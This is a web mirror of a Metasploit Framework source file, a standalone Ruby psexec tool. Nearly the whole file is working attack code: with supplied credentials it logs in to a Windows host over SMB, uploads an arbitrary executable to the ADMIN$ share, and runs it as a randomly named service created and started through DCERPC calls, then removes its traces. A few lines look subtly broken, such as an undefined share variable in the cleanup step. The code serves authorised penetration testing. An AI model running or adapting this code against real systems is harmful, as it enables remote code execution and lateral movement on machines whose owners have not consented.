CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/tools/exploit/psexec.rb
Views: 11766
1
#!/usr/bin/env ruby
2
3
##
4
# This module requires Metasploit: https://metasploit.com/download
5
# Current source: https://github.com/rapid7/metasploit-framework
6
##
7
8
#
9
# This is rough and dirty standalone (Rex only) psexec implementation
10
#
11
begin
12
msfbase = __FILE__
13
while File.symlink?(msfbase)
14
msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase))
15
end
16
17
gem 'rex-text'
18
19
$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', '..', 'lib')))
20
require 'msfenv'
21
22
$:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB']
23
24
25
require 'rex'
26
require 'rex/encoder/ndr'
27
28
29
def print_error(msg)
30
$stderr.puts "[-] #{msg}"
31
end
32
33
def print_status(msg)
34
$stderr.puts "[+] #{msg}"
35
end
36
37
def print_lines(msg)
38
$stderr.puts "[+] #{msg}"
39
end
40
41
def usage
42
$stderr.puts "#{$0} [host] [exe] [user] [pass]"
43
exit(0)
44
end
45
46
47
def dcerpc_handle(uuid, version, protocol, opts, rhost)
48
Rex::Proto::DCERPC::Handle.new([uuid, version], protocol, rhost, opts)
49
end
50
51
def dcerpc_bind(handle, csocket, csimple, cuser, cpass)
52
opts = { }
53
opts['connect_timeout'] = 10
54
opts['read_timeout'] = 10
55
opts['smb_user'] = cuser
56
opts['smb_pass'] = cpass
57
opts['frag_size'] = 512
58
opts['smb_client'] = csimple
59
60
Rex::Proto::DCERPC::Client.new(handle, csocket, opts)
61
end
62
63
def dcerpc_call(function, stub = '', timeout=nil, do_recv=true)
64
otimeout = dcerpc.options['read_timeout']
65
66
begin
67
dcerpc.options['read_timeout'] = timeout if timeout
68
dcerpc.call(function, stub, do_recv)
69
rescue ::Rex::Proto::SMB::Exceptions::NoReply, Rex::Proto::DCERPC::Exceptions::NoResponse
70
print_status("The DCERPC service did not reply to our request")
71
return
72
ensure
73
dcerpc.options['read_timeout'] = otimeout
74
end
75
end
76
77
78
opt_port = 445
79
opt_host = ARGV.shift() || usage()
80
opt_path = ARGV.shift() || usage()
81
opt_user = ARGV.shift() || usage()
82
opt_pass = ARGV.shift() || ""
83
84
opt_share = "ADMIN$"
85
opt_domain = "."
86
87
begin
88
socket = Rex::Socket.create_tcp({ 'PeerHost' => opt_host, 'PeerPort' => opt_port.to_i })
89
rescue Rex::ConnectionRefused, Rex::HostUnreachable => e
90
print_error("Could not connect: #{e}")
91
exit(1)
92
end
93
94
simple = Rex::Proto::SMB::SimpleClient.new(socket, opt_port.to_i == 445, versions = [1, 2])
95
96
simple.login(
97
Rex::Text.rand_text_alpha(8),
98
opt_user,
99
opt_pass,
100
opt_domain
101
)
102
simple.connect("\\\\#{opt_host}\\IPC$")
103
104
if (not simple.client.auth_user)
105
print_line(" ")
106
print_error(
107
"FAILED! The remote host has only provided us with Guest privileges. " +
108
"Please make sure that the correct username and password have been provided. " +
109
"Windows XP systems that are not part of a domain will only provide Guest privileges " +
110
"to network logins by default."
111
)
112
print_line(" ")
113
exit(1)
114
end
115
116
fname = Rex::Text.rand_text_alpha(8) + ".exe"
117
sname = Rex::Text.rand_text_alpha(8)
118
119
# Upload the payload to the share
120
print_status("Uploading payload...")
121
122
simple.connect(opt_share)
123
124
fd = simple.open("\\#{fname}", 'rwct', 500)
125
File.open(opt_path, "rb") do |efd|
126
fd << efd.read
127
end
128
fd.close
129
130
print_status("Created \\#{fname}...")
131
132
# Disconnect from the share
133
simple.disconnect(opt_share)
134
135
# Connect to the IPC service
136
simple.connect("IPC$")
137
138
139
# Bind to the service
140
handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"], opt_host)
141
print_status("Binding to #{handle} ...")
142
dcerpc = dcerpc_bind(handle, socket, simple, opt_user, opt_pass)
143
print_status("Bound to #{handle} ...")
144
145
##
146
# OpenSCManagerW()
147
##
148
149
print_status("Obtaining a service manager handle...")
150
scm_handle = nil
151
NDR = Rex::Encoder::NDR
152
stubdata =
153
NDR.uwstring("\\\\#{opt_host}") +
154
NDR.long(0) +
155
NDR.long(0xF003F)
156
begin
157
response = dcerpc.call(0x0f, stubdata)
158
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
159
scm_handle = dcerpc.last_response.stub_data[0,20]
160
end
161
rescue ::Exception => e
162
print_error("Error: #{e}")
163
return
164
end
165
166
167
##
168
# CreateServiceW()
169
##
170
171
file_location = "%SYSTEMROOT%\\#{fname}"
172
173
displayname = 'M' + Rex::Text.rand_text_alpha(rand(32)+1)
174
svc_handle = nil
175
svc_status = nil
176
177
print_status("Creating a new service (#{sname} - \"#{displayname}\")...")
178
stubdata =
179
scm_handle +
180
NDR.wstring(sname) +
181
NDR.uwstring(displayname) +
182
183
NDR.long(0x0F01FF) + # Access: MAX
184
NDR.long(0x00000110) + # Type: Interactive, Own process
185
NDR.long(0x00000003) + # Start: Demand
186
NDR.long(0x00000000) + # Errors: Ignore
187
NDR.wstring( file_location ) + # Binary Path
188
NDR.long(0) + # LoadOrderGroup
189
NDR.long(0) + # Dependencies
190
NDR.long(0) + # Service Start
191
NDR.long(0) + # Password
192
NDR.long(0) + # Password
193
NDR.long(0) + # Password
194
NDR.long(0) # Password
195
begin
196
response = dcerpc.call(0x0c, stubdata)
197
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
198
svc_handle = dcerpc.last_response.stub_data[0,20]
199
svc_status = dcerpc.last_response.stub_data[24,4]
200
end
201
rescue ::Exception => e
202
print_error("Error: #{e}")
203
exit(1)
204
end
205
206
##
207
# CloseHandle()
208
##
209
print_status("Closing service handle...")
210
begin
211
response = dcerpc.call(0x0, svc_handle)
212
rescue ::Exception
213
end
214
215
##
216
# OpenServiceW
217
##
218
print_status("Opening service...")
219
begin
220
stubdata =
221
scm_handle +
222
NDR.wstring(sname) +
223
NDR.long(0xF01FF)
224
225
response = dcerpc.call(0x10, stubdata)
226
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
227
svc_handle = dcerpc.last_response.stub_data[0,20]
228
end
229
rescue ::Exception => e
230
print_error("Error: #{e}")
231
exit(1)
232
end
233
234
##
235
# StartService()
236
##
237
print_status("Starting the service...")
238
stubdata =
239
svc_handle +
240
NDR.long(0) +
241
NDR.long(0)
242
begin
243
response = dcerpc.call(0x13, stubdata)
244
rescue ::Exception => e
245
print_error("Error: #{e}")
246
exit(1)
247
end
248
249
#
250
# DeleteService()
251
##
252
print_status("Removing the service...")
253
stubdata = svc_handle
254
begin
255
response = dcerpc.call(0x02, stubdata)
256
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
257
end
258
rescue ::Exception => e
259
print_error("Error: #{e}")
260
end
261
262
##
263
# CloseHandle()
264
##
265
print_status("Closing service handle...")
266
begin
267
response = dcerpc.call(0x0, svc_handle)
268
rescue ::Exception => e
269
print_error("Error: #{e}")
270
end
271
272
begin
273
print_status("Deleting \\#{fname}...")
274
select(nil, nil, nil, 1.0)
275
simple.connect(smbshare)
276
simple.delete("\\#{fname}")
277
rescue ::Interrupt
278
raise $!
279
rescue ::Exception
280
#raise $!
281
end
282
rescue SignalException => e
283
puts("Aborted! #{e}")
284
end
285
286